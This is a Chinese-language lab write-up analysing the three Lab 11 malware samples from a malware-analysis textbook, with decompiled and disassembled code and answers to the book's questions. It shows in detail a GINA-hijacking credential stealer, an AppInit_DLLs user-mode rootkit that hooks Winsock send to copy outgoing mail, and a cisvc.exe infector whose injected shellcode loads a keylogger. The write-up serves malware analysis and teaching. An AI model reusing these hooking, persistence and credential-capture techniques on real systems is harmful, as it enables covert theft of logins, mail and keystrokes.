恶意代码分析实战 笔记 恶意代码分析实战 Lab11 Ivoripuion 2023-10-16 2023-10-21 Lab11-01 简要分析 程序的主要流程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main (int argc, const char **argv, const char **envp) { HMODULE hModule; CHAR Filename; char v6; char v7; char *v8; LPVOID v9; v9 = 0 ; hModule = GetModuleHandleA (0 ); Filename = 0 ; memset (&v6, 0 , 0x10C u); v7 = 0 ; v9 = get_dll_401080 (hModule); GetModuleFileNameA (0 , &Filename, 0x10E u); v8 = strrchr (&Filename, 92 ); *v8 = 0 ; strcat (&Filename, aMsgina32Dll_0); set_reg_401000 (&Filename, 0x104 u); return 0 ; }
get_dll_401080
函数提取TGAD资源节的内容,然后复制为msgina32.dll:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 LPVOID __cdecl sub_401080 (HMODULE hModule) { FILE *v2; HGLOBAL hResData; HRSRC hResInfo; DWORD dwSize; LPVOID v6; void *v7; v6 = 0 ; if ( !hModule ) return 0 ; hResInfo = FindResourceA (hModule, lpName, lpType); if ( !hResInfo ) return 0 ; hResData = LoadResource (hModule, hResInfo); if ( hResData ) { v7 = LockResource (hResData); if ( v7 ) { dwSize = SizeofResource (hModule, hResInfo); if ( dwSize ) { v6 = VirtualAlloc (0 , dwSize, 0x1000 u, 4u ); if ( v6 ) { qmemcpy (v6, v7, dwSize); v2 = fopen (aMsgina32Dll, aWb); fwrite (v7, 1u , dwSize, v2); fclose (v2); print_401299 (aDr); } } } } if ( hResInfo ) FreeResource (hResInfo); return v6; }
set_reg_401000
函数将msgina32.dll插入到SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL中,当系统重启Winlogon将加载msgina32.dll,可以怀疑该恶意代码使用GINA拦截技术来窃取用户凭证:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl sub_401000 (BYTE *lpData, DWORD cbData) { HKEY v2; int result; HKEY phkResult; phkResult = v2; if ( RegCreateKeyExA (HKEY_LOCAL_MACHINE, SubKey, 0 , 0 , 0 , 0xF003F u, 0 , &phkResult, 0 ) ) return 1 ; if ( RegSetValueExA (phkResult, ValueName, 0 , 1u , lpData, cbData) ) { CloseHandle (phkResult); result = 1 ; } else { print_401299 (aRi); CloseHandle (phkResult); result = 0 ; } return result; }
msgina32.dll的DLLMain
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 BOOL __stdcall DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { BOOL result; WCHAR Buffer; if ( fdwReason == 1 ) { DisableThreadLibraryCalls (hinstDLL); hModule = hinstDLL; GetSystemDirectoryW (&Buffer, 0x104 u); lstrcatW (&Buffer, L"\\MSGina" ); hLibModule = LoadLibraryW (&Buffer); result = hLibModule != 0 ; } else { if ( !fdwReason ) { if ( hLibModule ) FreeLibrary (hLibModule); } result = 1 ; } return result; }
首先检查fdwReason
是否为1,若为1则将系统中的msgina.dll的句柄,以此进行GINA拦截。
dll中其他的一些导出函数结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int WlxInitialize () { int (*v0)(void ); v0 = sub_10001000 (aWlxinitialize_0); return v0 (); } int WlxIsLogoffOk () { int (*v0)(void ); v0 = sub_10001000 (aWlxislogoffok_0); return v0 (); } int WlxNetworkProviderLoad () { int (*v0)(void ); v0 = sub_10001000 (aWlxnetworkprov_0); return v0 (); }
sub_10001000
函数用于寻址:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 FARPROC __stdcall sub_10001000 (LPCSTR lpProcName) { FARPROC result; CHAR v2; result = GetProcAddress (hLibModule, lpProcName); if ( !result ) { if ( !(lpProcName >> 16 ) ) wsprintfA (&v2, aD, lpProcName); ExitProcess (0xFFFFFFFE ); } return result; }
基本都是首先劫持正确的函数,然后使用sub_10001000
函数跳转到正确的函数去调用来保证劫持msgina.dll后系统正常运行。
这里的WlxLoggedOutSAS
函数有其他的调用:
1 2 3 4 5 6 7 8 9 10 11 12 int __stdcall WlxLoggedOutSAS (int a1, int a2, int a3, int a4, int a5, int a6, _DWORD *a7, int a8) { FARPROC v8; int v9; v8 = sub_10001000 (aWlxloggedoutsa_0); operator new (0x64 u) ; v9 = (v8)(a1, a2, a3, a4, a5, a6, a7, a8); if ( v9 == 1 && *a7 ) sub_10001570 (0 , aUnSDmSPwSOldS, *a7, a7[1 ], a7[2 ], a7[3 ]); return v9; }
sub_10001570
函数使用传入WlxLoggedOutSAS
的PWLX_MPR_NOTIFY_INFO作为参数,登陆的凭据以及时间日期写入到msutil32.sys文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 va_start (va, Format);vsnwprintf (&Dest, 0x800 u, Format, va);result = wfopen (Filename, &Mode); file_handle = result; if ( result ){ v4 = wstrtime (&Buffer); v5 = wstrdate (&v8); fwprintf (file_handle, ::Format, v5, v4, &Dest); if ( dwMessageId ) { FormatMessageW (0x1100 u, 0 , dwMessageId, 0x409 u, v6, 0 , 0 ); fwprintf (file_handle, aErrorcodeDErro, dwMessageId, *v6); LocalFree (*v6); result = fclose (file_handle); } else { fwprintf (file_handle, asc_1000329C); result = fclose (file_handle); } } return result;
Q1:这个恶意代码向磁盘释放了什么? 恶意代码从TGAD的资源节提取一个文件并命名为msgina32.dll,然后写入到系统中。
Q2:这个恶意代码如何进行驻留? 设置一个注册表的值:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL来保证每次开机都会加载dll。
Q3:这个恶意代码如何窃取用户登录凭证? 使用了GINA拦截技术,将msgina.dll劫持为msgina32.dll,当系统调用WlxLoggedOutSAS
函数时,msgina32.dll在调用正常的WlxLoggedOutSAS
后将用户凭证以及时间信息写入到C:\WINDOWS\system32\msutil32.sys中。
Q4:这个恶意代码对窃取的凭证做了什么处理? 将用户凭证以及时间信息写入到C:\WINDOWS\system32\msutil32.sys中。
Q5:如何在你的测试环境让这个恶意代码获得用户登录凭证? 运行恶意代码程序后重启,只要系统使用了WinLogon登录管理就会记录凭证。
Lab11-02 简要分析 dll的只有一个导出函数installer
,该函数首先设施一个注册表的值SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_Dlls\spoolvxx32.dll,AppInit_Dlls注册表表明当系统使用User32.dll时加载的内容,所以当调用User32.dll时也会加载spoolvxx32.dll:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 .text: 10001594 push eax .text: 10001595 push 6 .text: 10001597 push 0 .text: 10001599 push offset SubKey .text: 1000159E push 80000002h .text: 100015A3 call ds :RegOpenKeyExA.text: 100015A9 test eax , eax .text: 100015AB jnz short loc_100015DD.text: 100015AD push offset aSpoolvxx32Dll .text: 100015B2 call strlen.text: 100015B7 add esp , 4 .text: 100015BA push eax .text: 100015BB push offset Data .text: 100015C0 push 1 .text: 100015C2 push 0 .text: 100015C4 push offset ValueName .text: 100015C9 mov ecx , [ebp +phkResult].text: 100015CC push ecx .text: 100015CD call ds :RegSetValueExA.text: 100015D3 mov edx , [ebp +phkResult].text: 100015D6 push edx .text: 100015D7 call ds :RegCloseKey
然后将spoolvxx32.dll写入到系统目录中:
1 2 3 4 5 6 7 8 9 10 11 12 13 .text: 100015DD call get_sys_dir_1000105B.text: 100015E2 mov [ebp +Dest], eax .text: 100015E5 push 104h .text: 100015EA push offset aSpoolvxx32Dll_1 .text: 100015EF mov eax , [ebp +Dest].text: 100015F2 push eax .text: 100015F3 call strncat.text: 100015F8 add esp , 0Ch .text: 100015FB push 0 .text: 100015FD mov ecx , [ebp +Dest].text: 10001600 push ecx .text: 10001601 push offset ExistingFileName .text: 10001606 call ds :CopyFileA
DllMain
首先判断dll状态是否为DLL_PROCESS_ATTACH:
1 2 3 4 5 6 7 .text: 10001610 push ebp .text: 10001611 mov ebp , esp .text: 10001613 sub esp , 0Ch .text: 10001616 mov eax , [ebp +hinstDLL].text: 10001619 mov dword_100035A4, eax .text: 1000161E cmp [ebp +fdwReason], DLL_PROCESS_ATTACH.text: 10001622 jz short loc_10001629
然后在系统目录中打开Lab11-02.ini文件并读取到byte_100034A0
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 .text: 10001651 call get_sys_dir_1000105B.text: 10001656 mov [ebp +Dest], eax .text: 10001659 push 104h .text: 1000165E push offset aLab1102Ini .text: 10001663 mov edx , [ebp +Dest].text: 10001666 push edx .text: 10001667 call strncat.text: 1000166C add esp , 0Ch .text: 1000166F push 0 .text: 10001671 push 80h .text: 10001676 push 3 .text: 10001678 push 0 .text: 1000167A push 1 .text: 1000167C push 80000000h .text: 10001681 mov eax , [ebp +Dest].text: 10001684 push eax .text: 10001685 call ds :CreateFileA.text: 1000168B mov [ebp +hFile], eax .text: 1000168E cmp [ebp +hFile], 0FFFFFFFFh .text: 10001692 jz short loc_100016DE.text: 10001694 mov [ebp +NumberOfBytesRead], 0 .text: 1000169B push 0 .text: 1000169D lea ecx , [ebp +NumberOfBytesRead].text: 100016A0 push ecx .text: 100016A1 push 100h .text: 100016A6 push offset byte_100034A0 .text: 100016AB mov edx , [ebp +hFile].text: 100016AE push edx .text: 100016AF call ds :ReadFile
将读取的内容进行处理:
1 2 .text: 100016C5 push offset byte_100034A0.text: 100016CA call sub_100010B3
sub_100010B3
函数将读取的内容中除了换行符和制表符的字符使用sub_10001097
进行处理:
1 2 3 4 5 6 7 8 9 10 11 12 char *__cdecl sub_100010B3 (char *a1) { char *v2; v2 = a1; while ( *a1 && *a1 != '\r' && *a1 != '\n' ) { *a1 = sub_10001097 (*a1, 50 ); ++a1; } return v2; }
sub_10001097
将读取的内容进行数学运算:
1 2 3 4 int __cdecl sub_10001097 (char a1, unsigned __int8 a2) { return a1 ^ (666 * a2 >> 4 ); }
将Lab11-02.ini中的内容按照上述逻辑解密得出”billy@malwareanalysisbook.com”:
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <iostream> #include <cstring> using namespace std;char test (char a1,int a2) { return a1 ^ (666 * a2 >> 4 ); } int main () { char *ptr = "CHMMXaL@MV@SD@O@MXRHRCNNJBNL" ; for (int i = 0 ; i < strlen (ptr); ++i) { cout << test (ptr[i], 0x32 ); } cout << endl; }
DllMain
最后调用sub_100014B6(1)
:
1 2 3 4 .text: 100016E0 loc_100016E0: .text: 100016E0 push 1 .text: 100016E2 call sub_100014B6.text: 100016E7 add esp , 4
sub_100014B6
首先进行获取进程名并进行比较,不符合则退出:
1 2 3 4 5 6 7 8 9 10 11 GetModuleFileName_10001075 (0 , &Buf1);Buf1 = first92_10001104 (Buf1); ........... capslk_1000102D (Buf1);v2 = strlen (aThebatExe); if ( !memcmp (Buf1, aThebatExe_0, v2) || (v3 = strlen (aOutlookExe), !memcmp (Buf1, aOutlookExe_0, v3)) || (v4 = strlen (aMsimnExe), !memcmp (Buf1, aMsimnExe_0, v4)) ) { ......... }
判读成功首先挂起所有线程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 .text: 10001555 call memcmp.text: 1000155A add esp , 0Ch .text: 1000155D test eax , eax .text: 1000155F jnz short loc_10001587.text: 10001561 .text: 10001561 loc_10001561: .text: 10001561 .text: 10001561 call suspend_thread_100013BD .text: 100013BD push ebp .text: 100013BE mov ebp , esp .text: 100013C0 push ecx .text: 100013C1 call ds :GetCurrentProcessId .text: 100013C7 mov [ebp +var_4], eax .text: 100013CA mov eax , [ebp +var_4] .text: 100013CD push eax .text: 100013CE call suspend_thread_100012FE .text: 100013D3 add esp , 4 .text: 100013D6 mov esp , ebp .text: 100013D8 pop ebp .text: 100013D9 retn
然后进行send
函数的hook。
首先获得wsock32.dll的句柄:
1 2 result = GetModuleHandleA (wsock32); hModule = result;
获取成功获得地址并进行hook:
1 2 3 result = GetProcAddress (wsock32_Module, send); if ( result ) result = hook_10001203 (result, a3, a4);
hook的函数首先计算send
函数与sub_1000113D
函数的距离,这里的5个字节作覆盖send
的内容:
1 2 3 4 5 6 7 .text: 10001203 push ebp .text: 10001204 mov ebp , esp .text: 10001206 sub esp , 0Ch .text: 10001209 mov eax , [ebp +arg_4].text: 1000120C sub eax , [ebp +send_addr].text: 1000120F sub eax , 5 .text: 10001212 mov [ebp +gap], eax
修改内存的读写执行权限:
1 2 .text: 10001220 push edx .text: 10001221 call ds :VirtualProtect
分配0xFF内存作为跳板:
1 2 3 4 .text: 10001227 push 0FFh .text: 1000122C call malloc.text: 10001231 add esp , 4 .text: 10001234 mov [ebp +trampoline], eax
复制5字节指令到跳板中:
1 2 3 4 5 6 7 .text: 10001246 push 5 .text: 10001248 mov eax , [ebp +send_addr].text: 1000124B push eax .text: 1000124C mov ecx , [ebp +trampoline].text: 1000124F add ecx , 5 .text: 10001252 push ecx .text: 10001253 call memcpy`
添加jmp
指令:
1 2 3 4 5 6 7 8 .text: 10001258 add esp , 0Ch .text: 1000125B mov edx , [ebp +trampoline].text: 1000125E mov byte ptr [edx +0Ah ], 0E9h .text: 10001262 mov eax , [ebp +send_addr].text: 10001265 sub eax , [ebp +trampoline].text: 10001268 sub eax , 0Ah .text: 1000126B mov ecx , [ebp +trampoline].text: 1000126E mov [ecx +0Bh ], eax
最后将跳板地址给传入的参数:
1 2 3 .text: 1000129A mov eax , [ebp +arg_8].text: 1000129D mov [eax ], edx .text: 1000129F mov esp , ebp
sub_1000113D
函数是跳板首先要去的函数。
sub_1000113D
函数首先判断send
的字符串中是否有”RCPT TO:”的字符串,即调用send
的方法是否为一个SMTP协议的方法:
1 2 3 4 5 6 7 8 9 10 if ( strstr (Str, SubStr) ) { v4 = strlen (::Str); memcpy (Dst, aRcptTo_1, v4); v5 = strlen (aRcptTo_2); memcpy (&Dst[v5], email_address_100034A0, 0x101 u); strcat (Dst, Source); v6 = strlen (Dst); trampoline_10003484 (a1, Dst, v6, a4); }
然后会向先前解密得到的地址”billy@malwareanalysisbook.com”发送send
发送的邮件。
然后调用跳板指令调用正确的send
函数:
1 return trampoline_10003484 (a1, Str, a3, a4);
这个恶意DLL导出了什么? 导出了一个installer
函数,用于设置注册表使得恶意代码常驻。
使用run32dll.exe来安装这个恶意代码之后,发生了什么? 将自身dll复制到system32\spoolvxx32.dll,并设置注册表中的AppInit_Dlls值来保持常驻。
为了使这个恶意代码正确安装,Lab11-02.ini必须放置在何处? 放在系统目录C:\WINDOWS\system32\。
这个安装的恶意代码如何驻留? 注册表中的AppInit_Dlls值使得系统调用User32.dll时会加载spoolvxx32.dll来保持驻留。
这个恶意代码采用的用户态Rootkit技术是什么? 使用hook技术在系统调用 wsock32.dll中的send
函数之前插入一段指令。
挂钩代码做了什么? 会检查出系统向外发出的带有”RCPT TO:”的数据包,将数据包发送给”billy@malwareanalysisbook.com”。
哪个或者哪些进程执行了这个恶意攻击,为什么? 针对了MSIMN.exe,THEBAT.exe,OUTLOOK.exe,因为它们都是电子邮箱客户端程序。
ini文件的意义是什么? 包含了一个加密的恶意电子邮箱地址:”billy@malwareanalysisbook.com”。
你怎样用WireShark动态抓获这个恶意代码的行为? 监听网卡后过滤出SMTP协议相关的包即可。
Lab11-03 简要分析 Lab11-03.exe的main函数结果如下:
1 2 3 4 5 6 7 8 9 10 int __cdecl main (int argc, const char **argv, const char **envp) { CHAR FileName; CopyFileA (ExistingFileName, NewFileName, 0 ); sprintf (&FileName, aCWindowsSystem_0, aCisvcExe); write_shellcode_401070 (&FileName); system (aNetStartCisvc); return 0 ; }
首先复制Lab11-03.dll到系统目录中:
1 2 3 .text: 004012DB push offset NewFileName .text: 004012E0 push offset ExistingFileName .text: 004012E5 call ds :CopyFileA
创建一个字符串”C:\WINDOWS\System32\cisvc.exe”:
1 2 3 4 5 .text: 004012EB push offset aCisvcExe .text: 004012F0 push offset aCWindowsSystem_0 .text: 004012F5 lea eax , [ebp +FileName].text: 004012FB push eax .text: 004012FC call _sprintf
然后是修改cisvc.exe的操作:
1 2 .text: 0040130A push ecx .text: 0040130B call write_shellcode_401070
write_shellcode_401070
首先打开cisvc.exe:
1 2 3 4 5 6 7 8 9 10 11 12 .text: 0040107F push 0 .text: 00401081 push 80h .text: 00401086 push 4 .text: 00401088 push 0 .text: 0040108A push 1 .text: 0040108C push 0C0000000h .text: 00401091 mov eax , [ebp +lpFileName].text: 00401094 push eax .text: 00401095 call ds :CreateFileA.text: 0040109B mov [ebp +hFile], eax .text: 0040109E cmp [ebp +hFile], 0FFFFFFFFh .text: 004010A2 jnz short get_handle_4010AC
获取程序的句柄:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .text: 004010AC get_handle_4010AC: .text: 004010AC push 0 .text: 004010AE mov ecx , [ebp +hFile].text: 004010B1 push ecx .text: 004010B2 call ds :GetFileSize.text: 004010B8 mov [ebp +dwMaximumSizeLow], eax .text: 004010BB push 0 .text: 004010BD mov edx , [ebp +dwMaximumSizeLow].text: 004010C0 push edx .text: 004010C1 push 0 .text: 004010C3 push 4 .text: 004010C5 push 0 .text: 004010C7 mov eax , [ebp +hFile].text: 004010CA push eax .text: 004010CB call ds :CreateFileMappingA.text: 004010D1 mov [ebp +hFileMappingObject], eax .text: 004010D4 cmp [ebp +hFileMappingObject], 0FFFFFFFFh .text: 004010D8 jnz short loc_4010EC.text: 004010DA mov ecx , [ebp +hFile].text: 004010DD push ecx .text: 004010DE call ds :CloseHandle.text: 004010E4 or eax , 0FFFFFFFFh .text: 004010E7 jmp exit_4012C5
设置读写权限:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .text: 004010EC set_permission_4010EC: .text: 004010EC mov edx , [ebp +dwMaximumSizeLow].text: 004010EF push edx .text: 004010F0 push 0 .text: 004010F2 push 0 .text: 004010F4 push 6 .text: 004010F6 mov eax , [ebp +hFileMappingObject].text: 004010F9 push eax .text: 004010FA call ds :MapViewOfFile.text: 00401100 mov [ebp +lpBaseAddress], eax .text: 00401103 cmp [ebp +lpBaseAddress], 0 .text: 00401107 jnz short loc_40112F.text: 00401109 mov ecx , [ebp +hFile].text: 0040110C push ecx .text: 0040110D call ds :CloseHandle.text: 00401113 mov edx , [ebp +hFileMappingObject].text: 00401116 push edx .text: 00401117 call ds :CloseHandle.text: 0040111D mov eax , [ebp +lpBaseAddress].text: 00401120 push eax .text: 00401121 call ds :UnmapViewOfFile.text: 00401127 or eax , 0FFFFFFFFh .text: 0040112A jmp exit_4012C5
修改cisvc.exe:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if ( (v6[4 ] - v6[2 ]) >= 0x13A ){ v3 = v6[2 ] + v6[5 ]; for ( i = 0 ; i < 314 ; ++i ) { if ( *(&loc_409030 + i) == 0x78 && *(&loc_409030 + i + 1 ) == 0x56 && *(&loc_409030 + i + 2 ) == 0x34 && *(&loc_409030 + i + 3 ) == 0x12 ) { *(&loc_409030 + i) = v6[5 ] + *(v4 + 40 ) - *(v4 + 44 ) - (v3 + i + 4 ); break ; } } qmemcpy (cisvc_addr + v3, &loc_409030, 0x13A u); *(v4 + 40 ) = *(v4 + 44 ) + v3 - v6[5 ]; CloseHandle (hFile); CloseHandle (hFileMappingObject); UnmapViewOfFile (cisvc_addr); result = 0 ; }
添加内容的起始:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 .data: 00409030 loc_409030: .data: 00409030 .data: 00409030 push ebp .data: 00409031 mov ebp , esp .data: 00409031 .data: 00409033 sub esp , 40h .data: 00409039 jmp loc_409134.data: 00409134 loc_409134: .data: 00409134 call sub_4090DD .data: 004090DD sub_4090DD proc near .data: 004090DD pop ebx .data: 004090DE call sub_4090BC .data: 004090E3 mov edx , eax .data: 004090E5 push 753A4FCh .data: 004090EA push edx .data: 004090EB call sub_40905F .data: 004090F0 mov [ebp -4 ], eax .data: 004090F3 push 7C0DFCAAh .data: 004090F8 push edx .data: 004090F9 call sub_40905F .data: 004090FE mov [ebp -0Ch ], eax .data: 00409101 lea eax , [ebx +0 ] .data: 00409107 push 0 .data: 0040910C push 0 .data: 00409111 push eax .data: 00409112 call dword ptr [ebp -4 ] .data: 00409115 mov [ebp -10h ], eax .data: 00409118 lea eax , [ebx +24h ] .data: 0040911E push eax .data: 0040911F mov eax , [ebp -10h ] .data: 00409122 push eax .data: 00409123 call dword ptr [ebp -0Ch ] .data: 00409126 mov [ebp -8 ], eax .data: 00409129 call dword ptr [ebp -8 ] .data: 0040912C mov esp , ebp .data: 0040912E pop ebp .data: 0040912F jmp near ptr 1274E7ACh .data: 0040912F sub_4090DD endp
修改后的cisvc.exe的首先会调用一个函数:
1 2 3 4 5 .text: 01001AF9 8D 83 00 00 00 00 lea eax , [ebx +0 ].text: 01001AFF 68 00 00 00 00 push 0 .text: 01001B04 68 00 00 00 00 push 0 .text: 01001B09 50 push eax .text: 01001B0A FF 55 FC call dword ptr [ebp -4 ]
动态调试下:
1 2 3 4 01001AFF . 68 00000000 push 0x0 01001B04 . 68 00000000 push 0x0 01001B09 . 50 push eax 01001B0A . FF55 FC call dword ptr ss :[ebp -0x4 ]
即:
1 LoadLibraryExA (cisvc.01001B 31,0 ,0 );
此时cisvc.01001B31
为C:\WINDOWS\System32\inet_epar32.dll
:
1 2 3 4 5 6 01001B31 43 3A 5C 57 49 4E 44 4F C:\WINDO 01001B39 57 53 5C 53 79 73 74 65 WS\Syste 01001B41 6D 33 32 5C 69 6E 65 74 m32\inet 01001B49 5F 65 70 61 72 33 32 2E _epar32. 01001B51 64 6C 6C 00 7A 7A 7A 36 dll.zzz6 01001B59 39 38 30 36 35 38 32 9806582
用于加载Lab11-03.dll复制inet_epar32.dll。
然后获取inet_epar32.dll中的函数zzz69806582
并调用:
1 2 3 4 5 6 01001B16 . 50 push eax 01001B17 . 8B45 F0 mov eax ,dword ptr ss :[ebp -0x10 ] 01001B1A . 50 push eax 01001B1B . FF55 F4 call dword ptr ss :[ebp -0xC ] 01001B1E . 8945 F8 mov dword ptr ss :[ebp -0x8 ],eax 01001B21 . FF55 F8 call dword ptr ss :[ebp -0x8 ]
Lab11-03.exe修改完cisvc后启动该服务:
1 2 3 .text: 00401310 83 C4 04 add esp , 4 .text: 00401313 68 74 91 40 00 push offset aNetStartCisvc .text: 00401318 E8 9F 00 00 00 call _system
Lab11-03.dll中的zzz69806582
函数首先创建一个线程调用一个函数:
1 2 3 4 .text: 10001544 push 0 .text: 10001546 push 0 .text: 10001548 push 0 .text: 1000154A push offset StartAddress_oneinstance
StartAddress_oneinstance
函数首先创建一个互斥量以确保只有一个实例运行:
1 2 3 4 5 6 7 8 9 .text: 10001475 push offset Name .text: 1000147A push 0 .text: 1000147C push 1F0001h .text: 10001481 call ds :OpenMutexA.................. .text: 1000149D push offset Name .text: 100014A2 push 1 .text: 100014A4 push 0 .text: 100014A6 call ds :CreateMutexA
创建一个C:\WINDOWS\System32\kernel64x.dll文件:
1 2 3 4 5 6 7 8 .text: 100014BD push 0 .text: 100014BF push 80h .text: 100014C4 push 4 .text: 100014C6 push 0 .text: 100014C8 push 1 .text: 100014CA push 0C0000000h .text: 100014CF push offset FileName .text: 100014D4 call ds :CreateFileA
关键函数get_input_10001380
用于击键记录:
1 2 .text: 1000150D push edx .text: 1000150E call get_input_10001380
kernel64x.dll中存放的即为记录的输入内容:
Q1:使用基础静态分析过程,你可以发现什么有趣的线索? lab11-03.exe包含以下一些字符串:
1 2 3 4 5 6 7 8 9 10 11 12 13 .rdata: 004084F8 00000013 C GetLastActivePopup.rdata: 0040850C 00000010 C GetActiveWindow.rdata: 0040851C 0000000C C MessageBoxA.rdata: 00408528 0000000B C user32. dll.rdata: 004086EE 0000000D C KERNEL32. dll.data: 00409139 00000024 C C:\\WINDOWS\\System32\\inet_epar32. dll.data: 0040915D 0000000C C zzz69806582.data: 0040916C 00000006 C .text.data: 00409174 00000010 C net start cisvc.data: 00409184 00000017 C C:\\WINDOWS\\System32\\%s.data: 0040919C 0000000A C cisvc. exe.data: 004091A8 0000000D C Lab11-03. dll.data: 004091B8 00000024 C C:\\WINDOWS\\System32\\inet_epar32. dll
说明该程序可能会修改cisvc.exe,使用Lab11-03.dll,创建C:\WINDOWS\System32\inet_epar32.dll。
lab11-03.dll导入以下一些函数:
1 2 100070F8 GetAsyncKeyState USER32 100070F0 GetForegroundWindow USER32
说明该dll可能包含击键记录器的功能。
Q2:当运行这个代码的时,发生了什么? 恶意代码将Lab11-03.dll复制为C:\WINDOWS\System32\inet_epar32.dll,修改了cisvc.exe,开启了cisvc功能,并通过dll的zzz69806582
来记录键盘输入到C:\WINDOWS\System32\kernel64x.dll。
Q3:Lab11-03.exe如何安装Lab11-03.dll使其长期驻留? 将Lab11-03.dll复制为C:\WINDOWS\System32\inet_epar32.dll,然后通过修改系统的cisvc.exe程序,并开启cisvc服务来保持Lab11-03.dll常驻。
Q4:这个恶意代码感染Windows系统的哪个文件? 感染了C:\WINDOWS\System32\cisvc.exe。
Q5:Lab11-03.dll做了什么? 记录键盘和窗口输入,并保存在C:\WINDOWS\System32\kernel64x.dll中。
Q6:这个恶意代码将收集的数据存放在何处? 保存在C:\WINDOWS\System32\kernel64x.dll中。